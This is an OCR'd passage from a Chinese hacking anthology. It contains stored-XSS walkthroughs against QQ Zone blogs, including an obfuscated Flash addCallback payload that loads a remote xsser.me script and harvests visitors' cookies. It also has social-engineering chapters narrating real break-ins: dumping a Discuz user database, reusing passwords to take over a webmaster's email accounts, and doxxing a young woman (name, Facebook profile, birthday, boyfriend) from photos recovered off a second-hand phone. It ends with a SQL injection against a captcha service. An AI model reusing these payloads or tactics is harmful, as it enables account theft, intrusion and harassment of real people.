<u> </u>	╃── 群名字,不是管理员不可控╃── 群号码,更不现实。	
	查看语音记录	
D	, 2012-12-23 16:29:29 34"	
	and the second	www.wooyun.org

图 5.12.3 页面结构

6. 很多新手在找 XSS 的时候,都是拿着<script>alert(1)</script>或者其它到处测试,很 盲目不是吗?

一定要记住本节最开头的话,存储型 XSS,输出的位置不一定出现在输入的位置。

7. 因而我们有时候需要逆向的思维,来寻找存储型 XSS。大概思路如下:

先找到输出点,然后猜测此处输出是否会被过滤。

如果觉得可能没过滤,我们再找到这个输出是在哪里输入的。

接着开始测试输入,看输出的效果。

如果没过滤,那么你就成功了,否则你可以放弃掉它。

8. 拿本例来说明以上过程,

我们猜测昵称这个输出没过滤。

找到输入点,这个输入点,就是修改 QQ 昵称。



第87页 /共127页

通过 WEBQQ 修改昵称如下: (方法见: WooYun: PKAV 腾讯专场-3. 腾讯 QQ 客户端某处功能页 面存储型 XSS)

使用 charleswebproxy 拦截 WEBQQ 数据包,修改并提交。 提交成功后



图 5.12.5 提交成功

9. 我们拿小号进入一个群,发布一条手机 QQ 的语音。看输出效果,没过滤,成功了吧~~

查看语音记录
2012-12-23 16:29:29 34"
> 2012-12-23 16:41:28 万 " 更多 V
Elements Resources 💿 Network 🚰 Sources 🕂 Timeline 🏠 Profiles 🖉
<pre>><div class="g_name"></div> ><div class="more"></div> V >> V V</pre>
"WWW.WOOyun.or

第88页 /共127页

图 5.12.6 成功实现

(连载中)责任编辑: xiaohui

第13节存储型 XSS 入门[套现绕过富文本]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

很多应用含有富文本内容,这类应用最典型的特征是具有编辑器,例如:博客日志,邮箱等。 这类应用往往允许使用一定的HTML代码。为了在用户体验和安全之间寻找平衡,各种厂商 可能采用了不尽相同的办法。但是总体来说,有2类。

第1类我们称为白名单,即:只允许使用白名单内的合法 HTML 标签,例如 IMG。其它均剔 除。例如:百度贴吧回帖时候的代码过滤方式。

第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。如:QQ邮箱的发邮件时的过滤方式。

白名单要安全得多, 而黑名单的方式则经常会被绕过。

绕过的技巧也有很多,我们可以从最没技术含量的开始说起!!本节将以 QQ 空间/QQ 校友的 日志功能为例来说明,什么是"套现绕过富文本"!

注意:本节说的"套现",不是与"钱"有关的;在这里的含义是:"套用现成的 XSS 代码"。 详细说明:

1. 新手平时测试 XSS 时,经常会用到<script>alert(1)</script>到处插入,看效果。

2. 这种做法,在某些反射型 XSS,或者你运气好的时候,确实能碰到。但是如果拿到 QQ 空间日志里去插入。嗯,后果一定会很悲壮,被过滤的毛都没有了。。

3. 这是为什么呢?因为<script>在腾讯的黑名单中,被过滤是理所当然的。

4. 试想,如果我们找到一个不在腾讯黑名单中的 XSS 代码,岂不是就可以成功在日志里执行 XSS 了么?

5. 有的人会问了。。哪里去找啊??方法有 2 种:

你足够牛,自己去发现。

已经有大牛为我们准备了很好的资料,去里面翻。

6. 我不够牛,所以我只能去大牛的资料里翻咯。

这里我翻的是@sogili 维护的 http://html5sec.org/, 里面有很多哦, 如图 5.13.1

通过formaction属性进行XSS - 需要用户进行交互 (1)	
这个向重展示了通过HIML5的form和formaction从外部劫持表单的一种方法。	
<form id="test"></form> <button form="test" formaction="javascript:alert(1)">X<不要让用户提交包含 "form" 和 "formaction" 属性的标签,避免在form中出现id属性及提交按钮.</button>	/button>
 Firefox 4.0 Opera 10.5 Opera 11.0 Opera 12.0 Opera Echile 	出755代码所通用的消烧 著类型及版本

http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#attr-fs-f

图 5.13.1 实例 7. 然后我就开始按照下面的流程慢慢测试。 先进 QQ 空间,发表一个日志,然后编辑日志,同时抓包。

Structure	Sequence	Name	Value	
🖲 📄 http	:://ctc.qzs.qq.com	* qzreferrer	http://ctc.qzs.qq.com/qzone/new	wblog/v5/editor.html#bid=
🖶 📄 http	://bl.gzone.gg.com	cate	88	
ė 📄	cgi-bin/	title	88888888	
6-	bloonsw/	E html	日志内容 📥 输入从htm	15sec找来的XSS代码。
	- 1 mod blog?ref=grope8ig tk=1800807668	blogId	1356970143	
		blogType	0	
	mod_biog/ret=dzonedg_tk=180980/008	lp_type	0	
	blog_output_data?uin=0.000 & & & & & & & & & & & & & & & & &	lp_flag	0	
	blog_get_specialtitle	lp_id	81177	
	- 🚝 get_abs?hostUin= 🚺 🖉 🖉 🦛 👘 in 🚾 3&blog	lp_style	16843520	
	- get comment list?ut = 10 comment=158ttopicto	autograph	1	
	blog output data?uin=	topFlag	0	
	- ent abs?bostLin=	feeds	0	
	and blog to far an and the 1900907669	rightType	1	
	mod_blog:ref=dzonedd_tk=100900/000	uin		
	blog_output_data/uin	hostUin		
	- mod_blog?ref=qzone&g_tk=1809807668	g_tk	1809807668	
	- 😳 mod_blog?ref=qzone&g_tk=1809807668	ref	qzone	
œ-	📄 draft/	json	1	
-0	lavicon.ico	inCharset	gbk	
- õ	avicon.ico	outCharset	gbk	
ă	avicon ico	format	fs	
d In Lu	the second second	iNotice	1	
Ph	://b.dzone.dd.com	secverifykey	28Q120611997723_11997723	www.wooyun.org

图 5.13.2 抓包数据

修改抓包内容后,这里修改的是日志内容。提交修改后的数据包! 然后我们来看看日志里的源代码里,我们提交的 XSS 代码是否被过滤。



8. 这里我们就不说失败的了,直接说成功的部分。

我们提交以下代码:

<vmlframexmlns="urn:schemas-microsoft-com:vml"style="behavior:url(#default#vml)</pre> ;position:absolute;width:100%;height:100%"src="http://itsokla.duapp.com/shouzi. vml#xss"></vmlframe>

然后看看源代码的输出,如图 5.13.4

<pre><img <="" id="paperFIGArea" style="display:none" th=""/><th><pre>std="/advb.git" /> "blogDetailDiv" style="font</pre></th></pre>	<pre>std="/advb.git" /> "blogDetailDiv" style="font</pre>
<pre><vmlf microsoft-com:vml"="" style="behavior:url (#default#vml);position:absolute;width:100%;height:1</pre></th><th><pre>'rame xmlns=" urn:schemas-<br="">00%"</vmlf></pre>	
<pre>src="http://itsokla.duapp.com/shouzi.vml#xss"><td>www.wooyun.</td></pre>	www.wooyun.

可以看到,这 ⁴ 9.我们可以看	个 XSS 代码完全 到 XSS 的效果。	图 5.13.4 查 注没过滤。 鼠标移到日志	看输出 忘上,即	会触发 XSS	代码,如图	₹ 5.13.5	
	x 🍘	C:\Documents an	d Sett	🏉 日志		🏉 日志	EE.
		> 我的主页 · 2013-1-1 ℃ 分享 ▼	 ○ 应用 ○ ○ 评论 	 − 装扮・ ま(0) □ 复制 	· 搜影视 他址 / ? 编	暗乐应用	Q
					○ 正在	尊享	无限 ,请稍
				的消息 hello shouz 确定	aa i	aaaaaa	a
					w	ww.woovu	n.ord

图 5.13.5 弹框成功

10. 很简单,对吧?但是有以下问题我们要注意!!

使用代码前,先自己在本地试下,是否能执行! 搞清楚你所使用的 XSS 代码的原理是什么! 搞清楚 XSS 代码的适用范围:如:在什么浏览器的什么版本之下才能使用,是否需要用户交 互等。注意平时对此类代码的搜集与整理。

(连载中)责任编辑: xiaohui

第14节存储进阶[猜测规则,利用FlashaddCallback]

作者:心伤的瘦子

来自: PKAV 技术宅社区

网址: http://www.pkav.net

简要描述:

有些时候,我们拿现成的 XSS 代码都不行,都被过滤了,那么需要我们对过滤的规则进行一定的判断与猜测。然后针对性的使用一些技巧来适应或者绕过规则。

在本例中,我们以 QQ 空间/QQ 校友的日志功能为例,通过猜测简单的过滤规则,然后使用 含有 addCallback 的 flash,来实现了存储型 XSS 的构造。

详细说明:

1. 前提:本例需在 IE9, IE10 下进行。

2. 我们乌云上报告的一些已有案例,进行了再次测试。

WooYun: PKAV 腾讯专场-6. (QQ 空间+朋友网) 日志功能存储型 XSS

3. 上例中,提到了 QQ 空间日志并未对 object 标签进行有效的过滤。

第 91页 /共 127页

我们根据此例中的代码对过滤规则进行测试:

<objectwidth="100%"height="100%"align="middle"classid="clsid:d27cdb6e-ae6d-11cf
-96b8-444553540000"type="application/x-shockwave-flash"><PARAMNAME="Movie"VALUE
="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="h
ttp://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="AllowScriptAcce
ss"VALUE="always">

以上的代码,是可以正常提交,并且未过滤的。

<objectwidth="100%"height="100%"align="middle"classid="clsid:d27cdb6e-ae6d-11cf
-96b8-444553540000"type="application/x-shockwave-flash"><PARAMNAME="Movie"VALUE
="http://mysite.com/vphoto.swf"><PARAMNAME="Src"VALUE="http://mysite.com/vphoto
.swf"><PARAMNAME="Src"VALUE="http://mysite.com/vphoto
.swf"><PARAMNAME="AllowScriptAccess"VALUE="http://mysite.com/vphoto</pre>

而当 swf 的域名不是 qzs. qq. com 时候,代码将会被过滤为以下内容。

<objectwidth="100%"height="100%"align="middle"classid="clsid:d27cdb6e-ae6d-11cf
-96b8-444553540000"type="application/x-shockwave-flash"><PARAMNAME="AllowScript
Access"VALUE="always">

即地址被去掉了。

4. 那么我们已知了这个过滤规则,就有2种绕过的方式。

找到一个 qzs. qq. com 域名下存在缺陷的 FLASH, 然后加以利用。

此方法,已经在@gainover的WooYun:PKAV腾讯专场-6.(QQ空间+朋友网)日志功能存储型XSS有所介绍了。

利用 Flash 的 addcallback 缺陷来构造存储型 XSS。

5. 首先说下 flashaddcallback 方法的基本原理。

根据 flashsdk 里的源代码,我们可以得到 flashaddcallback 的源代码中有以下代码。

if((((activeX==true))&&(!((objectID==null))))) {

_evalJS(((((("__flash__addCallback(document.getElementById(\""+objectID)+"\"), \"")+functionName)+"\");"));

}.



www.wooyun.org

图 5.14.1 代码视图

其中 object ID 为调用 FLASH 的 HTML 标签的 ID。functionName 则为被 JS 所调用的函数名称。 6. 当我们有以下代码时:

<objectid="aaaa"width="100%"height="100%"align="middle"classid="clsid:d27cdb6eae6d-11cf-96b8-444553540000"type="application/x-shockwave-flash"><PARAMNAME="Mo vie"VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Mo vie"VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src "VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src "VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="AllowS criptAccess"VALUE="always">

且 http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf 中存在一句

 $\label{eq:constraint} ExternalInterface.\ addCallback\ (``myfunc'', funcInFlash)\ ;$

则有
objectID="aaaa";
<pre>functionName="myfunc";</pre>
代入上面那句_evalJS中,则有
flashaddCallback(document.getElementById("aaaa"), "myfunc");
7. 那么我们可以想象一下,如果 aaaa 替换为 aaaa"), alert (1), ("
flashaddCallback(document.getElementById("aaaa"),alert(1),(""),"myfunc");
解析:
<pre>3<code> flash_addCallback(document.getElementBvId("aaaa"), "mvfunc");</code></pre>
2个参数变4个
<code></code>
flashaddCallback(document.getElementById("aaaa"),alert(1),(""), "myfunc");
www.wooyun.org
图 5.14.2 代码实例
8. 且 FLASH 中,确实未对 object ID 做任何过滤。基于以上内容,我们可以构建利用代码。
<pre><objectid='aaaa"), ("'width="100%" alert(1),="" align="middle" classid="c</pre></td></tr><tr><td>lsid:d27cdb6e-ae6d-11cf-96b8-444553540000" height="100%" type="application/x-shockwave-flash"></objectid='aaaa"),></pre>
<pre><paramname="movie"value="http: client="" photo="" qzone="" qzs.qq.com="" swf="" vphoto.swf"=""><</paramname="movie"value="http:></pre>
PARAMNAME="Src"VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"> <par< td=""></par<>
$\Delta MNAME = "Allow Construct A coord of "VALUE = "cluster" > 1$

我们自己用上面这段代码先在自己网站上测试下,看,果然 id 里的代码被执行了! 如图 5.14.3

E 🔿 🧭 http://its	okla. duapp.com /flash_addcallba	ack.htm 🔎 = 🗟 C	<i> itso</i>
🍣 QQ相册			
	来自网页的满息		
	A 1		
	<u> </u>		
	确定		

图 5.14.3 代码被执行

9. 利用以上原理,接着我们在 QQ 空间里来做测试,至于 FLASH 么,就是现成的! 虽然这个 FLASH 里没有缺陷,但是存在 addCallback 的调用,我们就可以直接用它。

<objectwidth="100%"height="100%"align="middle"id="xsstest1"), (function() {if
 (!window.__x) {window.__x=1;window.s=document.createElement(String.fromCharCode(
 115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47
,47,120,115,115,101,114,46,109,101,47,66,113,112,57,82,121);document.body.appen
 dChild(window.s);})(), (""classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540
 000"type="application/x-shockwave-flash"><PARAMNAME="Movie"VALUE="http://qzs.qq
.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="http://qzs.qq
.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="http://qzs.qq
.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="Src"VALUE="http://qzs.qq
.com/qzone/client/photo/swf/vphoto.swf"><PARAMNAME="AllowScriptAccess"VALUE="alway
s">

发布日志,使用以上代码



图 5.14.4 发布日志

10. 当用户访问含有 XSS 代码的日志后,我们可以在 xsser. me 查看所记录的 cookies 内容。

-	1 AP	#314	BEAULTH	nequest neuro	28
	-折叠	2013-01-01 19:47:14	 location : http://b1.qzone.qq.com/cgi-bin/ blognew/blog_output_data?uin= Bblogid=1356714689&styledm=ctc.qz onestyle.gtimg.cn&imgdm=ctc.qzs.qq.co m&bdm=b.qzone.qq.com&mode=2ν mperpage=15&blogseed=0.218483428 89561512&property=GoRE&timestamp =1357040646&dprefix=&g_tk=5030298 94&page=1&refererurl=http%3A%2F%2 Fctc.qzs.qq.com%2Fqzone%2Fapp%2F blog%2Fv6%2Fbloglist.html%23nojump %3D1%26page%3D1%26catalog%3Dli st&ref=qzone&v6=1 toplocation : http://user.qzone.qq.com #!app=2&via=QZ.HashRefresh&p os=catalog_list cookie : ac=1,004,014; pt2gguin=0008 pgv_pvid=8988241504; o_cook ies_prov_r_cookie=121122708 	 HTTP_REFERER : http://b1.qzone.qq.co m/cgi-bin/blognew/blog_output_data?ui name: http://bin/blognew/blog_ioutput_data?ui name: http://bin/blognew/blogid=1356714689& amp;styledm=ctc.qzonestyle.gtimg.cn&a mp;imgdm=ctc.qzs.qq.com&bdm= b.qzone.qq.com&mode=2ν mperpage=15&blogseed=0.21848 342889561512&property=GoRE&a mp;timestamp=1357040646&dpre fix=&g_tk=503029894&page= 1&refererurl=http%3A%2F%2Fctc.q zs.qq.com%2Fqzone%2Fapp%2Fblog% 2Fv6%2Fbloglist.html%23nojump%3D1 %26page%3D1%26catalog%3Dlist&a mp;ref=qzone&v6=1 HTTP_USER_AGENT : Mozilla/5.0 (com patible; MSIE 10.0; Windows NT 6.1; WO W64; Trident/6.0) REMOTE ADDR : WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW	org
		图 5	.14.5 宜有 COOKIES		

第94页 /共127页

(连载中)责任编辑: xiaohui

第六章 社会工程学

第1节 精彩连环社与 discuz 的巧妙利用

作者: Striker	
来自:法客论坛 - F4ckTeam	
网址: http://team.f4ck.net	
事子拉次组买店啊 沉相到台	,壮创冷和地上~
衣小区仍很重终啊, 汉忠到会	在到这种地步
首先看到朋友的一个网站开启了	~ ,如图 6.1.1
な事態:	1612
♀ 特别关心 用 12円	
图 6.1.1 朋友	的网站开启
很好奇就进去了,一看, Discuz	,直接进来 uc ~ 看是新站,admin 搞定~~ = =。RP 好= =。
	× a
UCenter Administrator	+
← → - C D - <	http://www.commune.com/admin.php
🗈 收藏英 🍝 🗋 Striker' 🗀 攪發	問擎 ─ □ 各种论坛 ~ □ 翻译 ~ □ CM5解密 ~ □ 最新漏洞 ~ [
	白管理由心
ocenter A	
首页	Center 幼汁信息
○ 基本设置	
○ 注册设置	円志致・ 1 户兑数: 26
○ 邮件设置 短	消息数: 0
 应用管理 好 	友记录数: 0
 用户管理 	
○ 管理员 通	知状态
图 6	1.2 进入 uc 后台

然后看了看数据库密码~~

应用的 UCenter 配置信息:



图 6.1.3 数据库密码

第95页 /共127页

得到一个密码: shXXX 目测是一个名字,本来准备拿 shell,发现漏洞补了,然后问了问 朋友这网站的来源,他说是一个搞护士站的人帮他做的,然后找到他的站,是 husXXX.com 于是先脱了朋友站的裤子,用户不多,然后看了看管理密码,是 woaini110,在里面发现了 一个用户名 hushi_XX 目测是那个站长,于是密码解密,得到 maXXXe,如图 6.1.4

	+1	+2	+3	4	+5	+6-	+	/	+	+	9
INSE	RT INTO	<pre_ucer< pre=""></pre_ucer<>	iter_member	s' VALUES	(1)	d 04	bfff6fb	b22eed	1291	0477b1d	15e33
INSE	RT INTO	`pre_ucer	iter_member	s` VALUES	(2, 'Be	ttthine',	95293	37c220	d 3 Bl	a11492d	6a78!
INSE	RT INTO	pre_ucer	iter_member	s' VALUES	(3, 'Sa	aMetros	k', '1d	53a082	22 2a	bbd723fb	e226
INSE	RT INTO	`pre_ucer	ter_member	s' VALUES	(4, 'To	is hideove'	, '01a.	c46b8	5 d d	751a7c71	la134
INSE	RT INTO	pre_ucer	iter_member	s' VALUES	(5, 'nsl	s bkuww',	'fb248	96317	d 10	83eb6ab4	1bae
INSE	RT INTO	pre_ucer	iter_member	s` VALUES	(6, 'ky	yn', '33a4	lfbd3	203d0	16	ddd5fa6e	de43d
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(7, 'ua	hinkrk', '08	3612	:b733	Of	58ea4f4a1	c979
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(8, 'we	b q', '6b6	2ef1 2	Lc414	ec4.)	79aa11c9	48a8
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(9, 'en	toggido',	'6a6 £7	4a5		ed6746c0	274f
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(10, p	aku', 'eb8	312 33	6982	Б	fe316266	5334
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(11, 'y	g bkn', '2	a0 59	22a	1	644e3fd69	94398
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(12, z	- B9622',	'f e18	:7c	1 34	117e50c0)4cf7(
INSE	RT INTO	pre_ucer	ter_member	s` VALUES	(13, '曾	1: 田根', '1	fcbfa	2704	20	c63da95b	e3b7
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(14	c3e2	fedde	d7 c1 2	- ee	f9f4a5edf	d62',
INSE	RT INTO	pre_ucer	ter_member	s` VALUES	(15,	81	3 3ae1	22.4	f8:	1095e735	7b92
INSE	RT INTO	pre_ucer	iter_member	s' VALUES	(16, 10	81	df559	2(8)	F2	14d8e4b0	28c50
INSE	RT INTO	<pre>`pre_ucer</pre>	ter_member	s' VALUES	(17, '7)	() 'f4b	01b3	541	60	2224a64d	:031b
INSE	RT INTO	pre_ucer			(19 h	us us 1 2	0eff7	191	1c	3757c3d4	81cf€
INSE	RT INTO	Dise of	那个站长	的号	(19, Y	zt n', 'e2i	aa02	el 4	d 1	852674e7	7aa1f
INSE	RT INTO	pre_ucer	ter_memper	VALUES	(20, 7	_5 不过:	Ъщ К , ;	76 1	80	dcc0afcbbb	3408
INSE	RT INTO	<pre>`pre_ucer</pre>	ter_member	s` VALUES	(21, 恒	て三十十二,	de5e	79 🤇	504	fb7279ad	9d30
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(22, '1	21 12300	2', '8	F3e V	59	Jac77766	5f479
INSE	RT INTO	pre_ucer	ter_member	s' VALUES	(23, '1	39 68284	87',	cc9 a	da	9f62cbed	6644
INSE	RT INTO	pre_ucer	iter_member	s' VALUES	(24, 劳	い。 、 「2f9b	602	a5 b	5 Б8	3a951d6e5	5e139
TNICE	DT INTO	Dro ucor	tor mombor	NATHER	125 14	- 것 않는 것도 좋고 한	1601	0.0	- 20	000-76540	111-00

图 6.1.4 数据库内容

然后去他的主站登录,好吧,登录不上,貌似压根没有 admin,管理用户两个,一个是小七,一个是 sXXXXck 目测是一个人,这时候,朋友发来他的截图, 看到了 QQ,如图 6.1.5。



图 6.1.5 找到目标 QQ

然后百度了一下,没有什么好用的,本来以为到这里就完事了,问了下朋友详情,如图 6.1.6

18:36:00	
我没有	
Striker " 18:36:06	
那个人的?	
Striker " 18:36:18	🔺 😝 hus 🛲
那你论坛的管理密码也是他给你的?	▷ 📑 表
18:26:29	60 视图
是	<i>fo</i> 函数
Striker " 18:36:34	─────────────────────────────────────
晕死	📑 查询
8:36:36	1 报表
都是他全部弄的	(原) 备价
图 6.1.6 询问详情	图 6.1.7 连接到数据库

这好啊,论坛密码也是他给的, 然后想象, Mysql 的密码是多少? sXXXi 啊。 然后帐号网站域名,密码 sXXXi 果断连接上了数据库,如图 6.1.7。 然后看了管理密码, mXXXXe 好吧, 竟然这样,于是登录,进了后台,一样不能拿 shell, 然后看到一个好东西,如图 6.1.8

 馬台管連切从 	邮件设置	122 433									
《創件设置											
○ 安全中心	邮件实行	##本はたけ:									
 UCenter 设置 	MP111-DC.82	MALL OF IN YORK									
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (2)	 ● 通过 										
 用户表优化 	 Bit 	SOCKET 造狼 SMTP 服務	特器发进(支持 ESMTP								
○ 帖子分表	 C 通过 	PHP 征数 SMTP 发送 Er	nail(沢 Windows 主)	支持 EEMTP 输证)							
○ 主懸分表			1867	14.77	10.00 I 40.00 March 10		di Mati ada				
 在城升级 	6415	SMTP服务器	660.1	30.42	发展人劇件地理	SMTP 外的偏差用户名	WITP 身份指述出				
	E	smtp.qq.com	25	1	{/////////////////////////////////////		m******71				
		smtp. 163.com	25		4-20163.0000		a******19				
					1.0		9 17				
	12 (\$10)	新SMTP服务器									

图 6.1.8 发现好东西

草啊, 于是顿时无力了,在万网和其他地方转了很久,最后和朋友了解到他是建站的,然后百度到他的网络公司, www.strikersec.com,这下好了,看了看公司联系方式,就是他本人的, 然后又无果了,等了半天,最后想象, smtp的密码会不会在数据库里面,转了好久,终于有所收获,如图 6.1.11

I	magicstatus	4	
I	▶ mail	a:6:(s:8:"mailsend")s:1:"2")s:4:"smtp")a:2:(i:0)a:6:(s:6:"server")s:11:"smtp.qq.com")s:4:"port")s:	
I	threadcaches	0	+
I	a:6: [s:8: "nailsend"		7
I	illatoristor		u
I	p. qq. con": 52	sector and the sector	È
	oadd d	The second secon	è

第97页 /共127页

图 6.1.11 有新的收获

然后竟然找到了密码, 于是他的 163 邮箱和 QQ 邮箱沦陷, 也就是很大部分权限沦陷, 突然想到他玩新浪微博,于是组合某密码登录,如图 6.1.10 好流弊啊-。然后登录邮箱找敏感信息,找到很多信息,还有很多客户的 FTP 帐号密码,这我就不说了,然后又在数据库里面发现一个存图片的 FTP,如图 6.1.12

ftp a:14:(s:2:"on";s:1:"1";s:3:"ssl";s:1:"0";s:4:"host";s:12:"219.234.3.36";s:4:"port";s:2:"21

图 6.1.12 发现 ftp

哈哈,也不登录了,再找给力的东西。试试找找万网的用户名吧,好吧,邮箱发现一个身份 证。竟然是个男的,我还以为是女的。好吧,没找到,查了查 whois 竟然不是一个邮箱。 估计不是一个人,这次社工到此结束。

(全文完) 责任编辑: DM_

第2节 买手机引发的跨过社工案

作者: erker

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.net

0x01 作者: erker

0x02 感谢基友 Galaxy 无名 的协助

OxO3 用到的工具: Power Data Recovery、JPEG Recovery 4、wallproxy

2011-10-28 16_PhotoWond er-1.jpg



2011-10-28

2011-10-29

12_PhotoWond

er(6).jpg

2011-10-28 21_PhotoWond er(5).jpg

2011-10-29

12 PhotoWond

er(6)_PhotoWon

der.png



2011-10-29

12_PhotoWond

er-1.jpg

2011-10-28 21_PhotoWond er_PhotoWonde r.jpg



2011-10-29 18_PhotoWond er.jpg



2011-10-30 22_PhotoWond er(7).jpg





2011-10-29

12 PhotoWond

er(3).jpg

2011-10-29

21.30.35.jpg







2011-10-29

12 PhotoWond

er(4).jpg

2011-10-29 21.30.39.jpg



2011-10-30 20.56.03.jpg

图 6.2.1 妹子的照片

第98页 /共127页



er(4).jpg



图 6.2.2 妹子的照片

0x05 本屌花了一个通宵的时间、把 jpg、png、3gp 的文件提取出来、再用神器 JPEG Recovery 4 修复下、得到了 400 多张套图、41 个视频、后边附下载地址(忘记说、在数据恢复后我还 看了下里边的文件夹名字、其中有个是 facebook、)

0x06 把所有图片跟截图看完后、提取里边的有用信息、例如聊天记录截图等等(当然、为了翻译内容、本屌还为此专门学了一下韩文输入法...)



第 99页 /共 127页

图 6.2.3 妹子的聊天记录 0x7 直接翻墙上 FB 查妹纸的名字 0x8 妹纸的 FB https://www.facebook.com/profile.php?id=100003354140361&ref=ts&fref=ts#!/profile.php?id= 100003354140361 妹纸男朋友的 FB https://www.facebook.com/profile.php?id=100003354140361&ref=ts&fref=ts#!/sexyhoon94?fre f=ts 妹纸简介: 妹纸名: 김영서 男朋友名: 이재훈 韩国龙仁大学 YONGIN 生日 1994 年 8 月 14 日 农历1994年7月8日 订婚周年纪念日 2012 年 3 月 22 日 常用账号 Hwizzzang 0x9 社工到这里就结束了、不过听说 FB 很早就有裤子、哪个大牛有的话就去扫扫账号吧 0x10 附上跟妹纸的聊天记录

	对话开始于星期六	
Π	Hi ! I come from China . Have you bought Pantech phone ? The type is a760s .	3:27pm
Π	I have the phone that you've used . It's a white Pantech a760s mobile phone . I used data recovery got your videos and photos and then I had looked your chat record that make me feel sorry .Though i can't read Korean . If you want, I can say some detail to you.	5:35pm
	星期六	
24	김영서 Q Recover please.	9:29pm
	星期天	
Π	= =China can't login facebook I can't give you photos .Do you have E-mail ? I can use Email send youIf	1:55am
	you can't read my EnglishYou can login Google translate or Youdao translationI'm a pupil ! My E- mail:	

图 6.2.4 和妹子的聊天记录

第 100页 /共 127页

Π	You are very beautiful , same as my girlfriend . I want to be your good friend . Good night !	2:08am
	星期天	
	김영저 Thank you. Remove please	♥ 7:45am
Π	Don't you have a look ? 400+ photos and 40 videosThese are memories	10:02am
	김영서 Remove please I translate other phone.(*'m'*) 已从Seongnam, Gyeonggi-do发送	� 10:38am
	图 6.2.5 和妹子的聊天记录	

(全文完) 责任编辑: DM_

第3节 由名字引起的风波-悄悄打枪某软件工作室

- 作者:骨灰
- 来自:法客论坛 F4ckTeam
- 网址: http://team.f4ck.net

我一直在用 XX 或者 XX 这个昵称!于是准备注册个域名,百度发现见(图 6.3.1)

Bai创首度	<u>新闻</u>	网页	<u>贴吧</u>	<u>知道</u>	<u>音乐</u>	图片	<u>视频</u>	地图	文库	<u>更多»</u>	
博客											百度一下
Edward and Patrick											
在这里您可以了真						IF2	室最新	动态.博	主承接:	自动投	
票,验证码识别,全自动;	主册,等	软件.									
Water and the state of the state	5-百	度快照									

图 6.3.1 发现域名被注册

于是我就蛋疼了! 排名第一的三这个家伙而且是个工作室。我就想我的用户名居然还有其他 人用,于是想把她搞下! 进入他博客以后发现是个搞这些软件的牛,我也一做这种软件,居 然抢我生意,这个不太好。随便进入各帖子见(图 6.3.2)

池				
第9		近期评论	\rightarrow	免:
全文		qizhicong 发表在《曾羅激詞》書意見提取软		
沙发		件V1.1完成》		
		163邮箱订阅软件自动工具 🖏 📷 🖬 👦 🗣		
<u> </u>	10	灰软件工作室发表在《百度网络文件全自动		
142	1	分享、支持拨号换IP,自动过验证码》		
<u>ь</u>		雷伽萨特 发表在《雷福斯演散群成员提取软		
-Aut		件V1.1完成》		
全文		漫道狂徒发表在《飘飘颤身微群成员提取软		
沙发		件V1.1完成》		
		雪丽岐件 发表在《雪娜@Q空间日记评论留言		
<u> </u>		正式上线》		

图 6.3.2 博客信息

发现了使用联众打码,大家百度人工打码排名第一的就是联众打码平台,如图 6.3.3

人工打码	百度一
<u>联众人工打码远程打码平台</u> www.yzmbuy.com 联众人工打码服务中心,通过人工来解决终端验证码识别问题,人工打码人数多.	担
验证码识别 识别互联网所有验证码 全人工打码 - 资讯中心 - 自动 验证码,验证码识别,java验证码,验证码源代码,vc验证码识别器,delphi验证码识别软件,专业验证 码识别软件,自动验证码识别技术,人工智能,智能识别,人工打码。验证码 www.yzmbuy.com/index.php/article2013-1-31 - 百度快照	
解析验证码人工破解内幕I什么是打码任务 Johnny Depp 新浪博客 因为依然有很多人从事人工破解验证码的工作,或者你也在从事打码工作用好了,对于打码任务	

图 6.3.3 打码平台

于是想从这里入手:进入了联众官网:我想啊这么大的打码平台应该没啥漏洞,结果进去看 了下直接尿了



就是百度点进去那个。然后就猜用户名啥的:

http://www.XXX.com/index.php/article/5'%20order%20By%205%20%23

猜出字段个数

http://www.XXXX.com/index.php/article/5'%20AnD%201=2%20uniOn%20seLecT%201,version(), user(),4,5%23



图 6.3.5 爆出信息

